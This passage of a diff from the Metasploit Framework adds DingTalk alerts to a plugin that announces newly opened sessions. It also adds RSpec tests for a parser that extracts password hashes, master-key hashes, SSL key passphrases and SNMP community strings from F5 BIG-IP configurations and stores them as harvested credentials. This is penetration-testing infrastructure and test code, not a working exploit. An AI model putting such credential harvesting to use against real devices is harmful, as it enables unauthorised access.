@smtp_username = group['smtp_username'] if group['smtp_username']
|
||||
@smtp_password = group['smtp_password'] if group['smtp_password']
|
||||
@smtp_from = group['smtp_from'] if group['smtp_from']
|
||||
@minimum_ip = IPAddr.new(group['minimum_ip']) if group['minimum_ip']
|
||||
@maximum_ip = IPAddr.new(group['maximum_ip']) if group['maximum_ip']
|
||||
@dingtalk_webhook = group['dingtalk_webhook'] if group['dingtalk_webhook']
|
||||
|
||||
print_status('Session Notifier settings loaded from config file.')
|
||||
end
|
||||
end
|
||||
|
||||
def is_session_notifier_subscribed?
|
||||
subscribers = framework.events.instance_variable_get(:@session_event_subscribers).collect { |s| s.class }
|
||||
def session_notifier_subscribed?
|
||||
subscribers = framework.events.instance_variable_get(:@session_event_subscribers).collect(&:class)
|
||||
subscribers.include?(self.class)
|
||||
end
|
||||
|
||||
def send_text_to_dingtalk(session)
|
||||
# https://ding-doc.dingtalk.com/doc#/serverapi2/qf2nxq/9e91d73c
|
||||
uri_parser = URI.parse(dingtalk_webhook)
|
||||
markdown_text = "## You have a new #{session.type} session!\n\n" \
|
||||
"**platform** : #{session.platform}\n\n" \
|
||||
"**tunnel** : #{session.tunnel_to_s}\n\n" \
|
||||
"**arch** : #{session.arch}\n\n" \
|
||||
"**info** : > #{session.info ? session.info.to_s : nil}"
|
||||
json_post_data = JSON.pretty_generate({
|
||||
msgtype: 'markdown',
|
||||
markdown: { title: 'Session Notifier', text: markdown_text }
|
||||
})
|
||||
http = Net::HTTP.new(uri_parser.host, uri_parser.port)
|
||||
http.use_ssl = true
|
||||
request = Net::HTTP::Post.new(uri_parser.request_uri)
|
||||
request.content_type = 'application/json'
|
||||
request.body = json_post_data
|
||||
res = http.request(request)
|
||||
body = JSON.parse(res.body)
|
||||
print_status((body['errcode'] == 0) ? 'Session notified to DingTalk.' : 'Failed to send notification.')
|
||||
end
|
||||
|
||||
def notify_session(session, subject, msg)
|
||||
if is_in_range?(session)
|
||||
@sms_client.send_text_to_phones([self.sms_number], subject, msg)
|
||||
print_status("Session notified to: #{self.sms_number}")
|
||||
if in_range?(session) && validate_sms_settings?
|
||||
@sms_client.send_text_to_phones([sms_number], subject, msg)
|
||||
print_status("Session notified to: #{sms_number}")
|
||||
end
|
||||
if in_range?(session) && !dingtalk_webhook.nil?
|
||||
send_text_to_dingtalk(session)
|
||||
end
|
||||
end
|
||||
|
||||
def is_in_range?(session)
|
||||
def in_range?(session)
|
||||
# If both blank, it means we're not setting a range.
|
||||
return true if self.minimum_ip.blank? && self.maximum_ip.blank?
|
||||
return true if minimum_ip.blank? && maximum_ip.blank?
|
||||
|
||||
ip = IPAddr.new(session.session_host)
|
||||
|
||||
if self.minimum_ip && !self.maximum_ip
|
||||
if minimum_ip && !maximum_ip
|
||||
# There is only a minimum IP
|
||||
self.minimum_ip < ip
|
||||
elsif !self.minimum_ip && self.maximum_ip
|
||||
minimum_ip < ip
|
||||
elsif !minimum_ip && maximum_ip
|
||||
# There is only a max IP
|
||||
self.maximum_ip > ip
|
||||
maximum_ip > ip
|
||||
else
|
||||
# Both ends are set
|
||||
range = self.minimum_ip..self.maximum_ip
|
||||
range = minimum_ip..maximum_ip
|
||||
range.include?(ip)
|
||||
end
|
||||
end
|
||||
|
||||
def validate_settings!
|
||||
if self.smtp_address.nil? || self.smtp_port.nil? ||
|
||||
self.smtp_username.nil? || self.smtp_password.nil? ||
|
||||
self.smtp_from.nil?
|
||||
raise Msf::Plugin::SessionNotifier::Exception, "All Session Notifier's settings must be configured."
|
||||
end
|
||||
def validate_sms_settings?
|
||||
!(smtp_address.nil? || smtp_port.nil? ||
|
||||
smtp_username.nil? || smtp_password.nil? ||
|
||||
smtp_from.nil?)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -243,10 +287,6 @@ module Msf
|
||||
remove_console_dispatcher(name)
|
||||
end
|
||||
|
||||
def name
|
||||
'SessionNotifier'
|
||||
end
|
||||
|
||||
def desc
|
||||
'This plugin notifies you a new session via SMS.'
|
||||
end
|
||||
|
||||
@@ -266,6 +266,13 @@ RSpec.describe 'hashes/identify' do
|
||||
end
|
||||
end
|
||||
|
||||
describe 'identify_f5_secure_value' do
|
||||
it 'returns ' do
|
||||
hash = identify_hash('$M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc=')
|
||||
expect(hash).to match ('F5-Secure-Vault')
|
||||
end
|
||||
end
|
||||
|
||||
describe 'identify_empty_string' do
|
||||
it 'returns empty string' do
|
||||
hash = identify_hash('')
|
||||
|
||||
@@ -0,0 +1,286 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core/auxiliary/f5'
|
||||
|
||||
RSpec.describe Msf::Auxiliary::F5 do
|
||||
class DummyF5Class
|
||||
include Msf::Auxiliary::F5
|
||||
def framework
|
||||
Msf::Simple::Framework.create(
|
||||
'ConfigDirectory' => Rails.root.join('spec', 'dummy', 'framework', 'config').to_s,
|
||||
# don't load any module paths so we can just load the module under test and save time
|
||||
'DeferModuleLoads' => true
|
||||
)
|
||||
end
|
||||
|
||||
def active_db?
|
||||
true
|
||||
end
|
||||
|
||||
def print_good(_str = nil)
|
||||
raise StandardError, 'This method needs to be stubbed.'
|
||||
end
|
||||
|
||||
def print_bad(_str = nil)
|
||||
raise StandardError, 'This method needs to be stubbed.'
|
||||
end
|
||||
|
||||
def store_cred(_hsh = nil)
|
||||
raise StandardError, 'This method needs to be stubbed.'
|
||||
end
|
||||
|
||||
def fullname
|
||||
'auxiliary/scanner/snmp/f5_dummy'
|
||||
end
|
||||
|
||||
def myworkspace
|
||||
raise StandardError, 'This method needs to be stubbed.'
|
||||
end
|
||||
end
|
||||
|
||||
subject(:aux_f5) { DummyF5Class.new }
|
||||
|
||||
let!(:workspace) { FactoryBot.create(:mdm_workspace) }
|
||||
|
||||
context '#create_credential_and_login' do
|
||||
let(:session) { FactoryBot.create(:mdm_session) }
|
||||
|
||||
let(:task) { FactoryBot.create(:mdm_task, workspace: workspace) }
|
||||
|
||||
let(:user) { FactoryBot.create(:mdm_user) }
|
||||
|
||||
subject(:test_object) { DummyF5Class.new }
|
||||
|
||||
let(:workspace) { FactoryBot.create(:mdm_workspace) }
|
||||
let(:service) { FactoryBot.create(:mdm_service, host: FactoryBot.create(:mdm_host, workspace: workspace)) }
|
||||
let(:task) { FactoryBot.create(:mdm_task, workspace: workspace) }
|
||||
|
||||
let(:login_data) do
|
||||
{
|
||||
address: service.host.address,
|
||||
port: service.port,
|
||||
service_name: service.name,
|
||||
protocol: service.proto,
|
||||
workspace_id: workspace.id,
|
||||
origin_type: :service,
|
||||
module_fullname: 'auxiliary/scanner/smb/smb_login',
|
||||
realm_key: 'Active Directory Domain',
|
||||
realm_value: 'contosso',
|
||||
username: 'Username',
|
||||
private_data: 'password',
|
||||
private_type: :password,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
end
|
||||
|
||||
it 'creates a Metasploit::Credential::Login' do
|
||||
expect { test_object.create_credential_and_login(login_data) }.to change { Metasploit::Credential::Login.count }.by(1)
|
||||
end
|
||||
it 'associates the Metasploit::Credential::Core with a task if passed' do
|
||||
login = test_object.create_credential_and_login(login_data.merge(task_id: task.id))
|
||||
expect(login.tasks).to include(task)
|
||||
end
|
||||
end
|
||||
|
||||
context '#f5_config_eater' do
|
||||
before(:example) do
|
||||
expect(aux_f5).to receive(:myworkspace).at_least(:once).and_return(workspace)
|
||||
end
|
||||
|
||||
it 'deals with user passwords' do
|
||||
data = "auth user admin {\n"
|
||||
data << " description \"Admin User\"\n"
|
||||
data << " encrypted-password $6$4FAWSZLi$VeSaxPM2/D1JOhMRN/GMkt5wHcbIVKaIC2g765ZD0VA9ZEEm8iyK40/ncGrZIGyJyJF4ivkScNZ59HWAIKMML/\n"
|
||||
data << " partition Common\n"
|
||||
data << " partition-access {\n"
|
||||
data << " all-partitions {\n"
|
||||
data << " role admin\n"
|
||||
data << " }\n"
|
||||
data << " }\n"
|
||||
data << " shell none\n"
|
||||
data << '}'
|
||||
expect(aux_f5).to receive(:print_good).with("127.0.0.1:161 Username 'admin' with description 'Admin User' and shell none with hash $6$4FAWSZLi$VeSaxPM2/D1JOhMRN/GMkt5wHcbIVKaIC2g765ZD0VA9ZEEm8iyK40/ncGrZIGyJyJF4ivkScNZ59HWAIKMML/")
|
||||
expect(aux_f5).to receive(:store_loot).with(
|
||||
'f5.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'F5 Configuration'
|
||||
)
|
||||
expect(aux_f5).to receive(:create_credential_and_login).with(
|
||||
{
|
||||
address: '127.0.0.1',
|
||||
port: 161,
|
||||
protocol: 'udp',
|
||||
workspace_id: workspace.id,
|
||||
origin_type: :service,
|
||||
service_name: '',
|
||||
module_fullname: 'auxiliary/scanner/snmp/f5_dummy',
|
||||
jtr_format: 'sha512,crypt',
|
||||
username: 'admin',
|
||||
private_data: '$6$4FAWSZLi$VeSaxPM2/D1JOhMRN/GMkt5wHcbIVKaIC2g765ZD0VA9ZEEm8iyK40/ncGrZIGyJyJF4ivkScNZ59HWAIKMML/',
|
||||
private_type: :nonreplayable_hash,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
)
|
||||
aux_f5.f5_config_eater('127.0.0.1', 161, data)
|
||||
end
|
||||
|
||||
it 'deals with system keys' do
|
||||
data = "master-key hash <EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==>\n"
|
||||
data << ' previous hash <EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==>'
|
||||
|
||||
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 F5 master-key hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==')
|
||||
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 F5 previous hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==')
|
||||
expect(aux_f5).to receive(:store_loot).with(
|
||||
'f5.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'F5 Configuration'
|
||||
)
|
||||
expect(aux_f5).to receive(:create_credential_and_login).with(
|
||||
{
|
||||
address: '127.0.0.1',
|
||||
port: 161,
|
||||
protocol: 'udp',
|
||||
workspace_id: workspace.id,
|
||||
origin_type: :service,
|
||||
service_name: '',
|
||||
module_fullname: 'auxiliary/scanner/snmp/f5_dummy',
|
||||
private_data: 'EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==',
|
||||
jtr_format: '',
|
||||
username: 'F5 master-key hash',
|
||||
private_type: :nonreplayable_hash,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
)
|
||||
expect(aux_f5).to receive(:create_credential_and_login).with(
|
||||
{
|
||||
address: '127.0.0.1',
|
||||
port: 161,
|
||||
protocol: 'udp',
|
||||
workspace_id: workspace.id,
|
||||
origin_type: :service,
|
||||
service_name: '',
|
||||
module_fullname: 'auxiliary/scanner/snmp/f5_dummy',
|
||||
private_data: 'EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==',
|
||||
jtr_format: '',
|
||||
username: 'F5 previous hash',
|
||||
private_type: :nonreplayable_hash,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
)
|
||||
aux_f5.f5_config_eater('127.0.0.1', 161, data)
|
||||
end
|
||||
|
||||
it 'deals with host information' do
|
||||
data = "cm device /Common/f5bigip.ragegroup.com {\n"
|
||||
data << " active-modules { \"BIG-IP, VE Trial|VTFAAAA-AAAAAAA|Rate Shaping|External Interface and Network HSM, VE|SDN Services, VE|SSL, Forward Proxy, VE|BIG-IP VE, Multicast Routing|APM, Limited|SSL, VE|DNS (1K QPS), VE|Routing Bundle, VE|ASM, VE|Crytpo Offload, VE, Tier 1 (25M - 200M)|Max Compression, VE|AFM, VE|DNSSEC|Anti-Virus Checks|Base Endpoint Security Checks|Firewall Checks|Network Access|Secure Virtual Keyboard|APM, Web Application|Machine Certificate Checks|Protected Workspace|Remote Desktop|App Tunnel|VE, Carrier Grade NAT (AFM ONLY)|PSM, VE\" }\n"
|
||||
data << " base-mac 00:11:11:a1:a1:a1\n"
|
||||
data << " build 0.0.9\n"
|
||||
data << " cert /Common/dtdi.crt\n"
|
||||
data << " chassis-id 164aaf79-aace-3494-1237671446c7\n"
|
||||
data << " configsync-ip 10.10.10.222\n"
|
||||
data << " edition \"Point Release 2\"\n"
|
||||
data << " hostname f5bigip.home.com\n"
|
||||
data << " key /Common/dtdi.key\n"
|
||||
data << " management-ip 1.1.1.1\n"
|
||||
data << " marketing-name \"BIG-IP Virtual Edition\"\n"
|
||||
data << " platform-id Z100\n"
|
||||
data << " product BIG-IP\n"
|
||||
data << " self-device true\n"
|
||||
data << " time-zone America/Los_Angeles\n"
|
||||
data << " version 15.1.0.2\n"
|
||||
data << '}'
|
||||
|
||||
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 Hostname: f5bigip.home.com')
|
||||
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 MAC Address: 00:11:11:a1:a1:a1')
|
||||
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 Management IP: 1.1.1.1')
|
||||
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 Product BIG-IP')
|
||||
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 OS Version: 15.1.0.2')
|
||||
expect(aux_f5).to receive(:store_loot).with(
|
||||
'f5.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'F5 Configuration'
|
||||
)
|
||||
aux_f5.f5_config_eater('127.0.0.1', 161, data)
|
||||
end
|
||||
|
||||
it 'deals with SSL Keys' do
|
||||
data = "sys file ssl-key /Common/f5_api_com.key {\n"
|
||||
data << " cache-path /config/filestore/files_d/Common_d/certificate_key_d/:Common:f5_api_com.key_63086_1\n"
|
||||
data << " passphrase $M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc=\n"
|
||||
data << " revision 1\n"
|
||||
data << " source-path file:///config/ssl/ssl.key/f5_api_com.key\n"
|
||||
data << '}'
|
||||
expect(aux_f5).to receive(:print_good).with("127.0.0.1:161 SSL Key '/Common/f5_api_com.key' and hash $M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc= for /config/ssl/ssl.key/f5_api_com.key")
|
||||
expect(aux_f5).to receive(:store_loot).with(
|
||||
'f5.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'F5 Configuration'
|
||||
)
|
||||
expect(aux_f5).to receive(:create_credential_and_login).with(
|
||||
{
|
||||
address: '127.0.0.1',
|
||||
port: 161,
|
||||
protocol: 'udp',
|
||||
workspace_id: workspace.id,
|
||||
origin_type: :service,
|
||||
service_name: '',
|
||||
module_fullname: 'auxiliary/scanner/snmp/f5_dummy',
|
||||
private_data: '$M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc=',
|
||||
jtr_format: 'F5-Secure-Vault',
|
||||
username: '/Common/f5_api_com.key',
|
||||
private_type: :nonreplayable_hash,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
)
|
||||
aux_f5.f5_config_eater('127.0.0.1', 161, data)
|
||||
end
|
||||
|
||||
it 'deals with SNMP' do
|
||||
data = "sys snmp {\n"
|
||||
data << " communities {\n"
|
||||
data << " comm-public {\n"
|
||||
data << " community-name public\n"
|
||||
data << " source default\n"
|
||||
data << " }\n"
|
||||
data << " rw {\n"
|
||||
data << " access rw\n"
|
||||
data << " community-name rwcommunity\n"
|
||||
data << " }\n"
|
||||
data << " }\n"
|
||||
data << '}'
|
||||
|
||||
expect(aux_f5).to receive(:print_good).with("127.0.0.1:161 SNMP Community 'public' with RO access")
|
||||
expect(aux_f5).to receive(:print_good).with("127.0.0.1:161 SNMP Community 'rwcommunity' with RW access")
|
||||
expect(aux_f5).to receive(:store_loot).with(
|
||||
'f5.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'F5 Configuration'
|
||||
)
|
||||
expect(aux_f5).to receive(:create_credential_and_login).with(
|
||||
{
|
||||
address: '127.0.0.1',
|
||||
port: 161,
|
||||
protocol: 'udp',
|
||||
workspace_id: workspace.id,
|
||||
origin_type: :service,
|
||||
service_name: 'snmp',
|
||||
jtr_format: '',
|
||||
access_level: 'RO',
|
||||
module_fullname: 'auxiliary/scanner/snmp/f5_dummy',
|
||||
private_data: 'public',
|
||||
private_type: :password,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
)
|
||||
expect(aux_f5).to receive(:create_credential_and_login).with(
|
||||
{
|
||||
address: '127.0.0.1',
|
||||
port: 161,
|
||||
protocol: 'udp',
|
||||
workspace_id: workspace.id,
|
||||
origin_type: :service,
|
||||
service_name: 'snmp',
|
||||
access_level: 'RW',
|
||||
jtr_format: '',
|
||||
module_fullname: 'auxiliary/scanner/snmp/f5_dummy',
|
||||
private_data: 'rwcommunity',
|
||||
private_type: :password,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
)
|
||||
aux_f5.f5_config_eater('127.0.0.1', 161, data)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -3,10 +3,9 @@ RSpec.shared_examples_for 'Msf::DBManager::Service' do
|
||||
unless ENV['REMOTE_DB']
|
||||
it { is_expected.to respond_to :delete_service }
|
||||
it { is_expected.to respond_to :each_service }
|
||||
it { is_expected.to respond_to :get_service }
|
||||
end
|
||||
|
||||
it { is_expected.to respond_to :find_or_create_service }
|
||||
it { is_expected.to respond_to :services }
|
||||
it { is_expected.to respond_to :report_service }
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user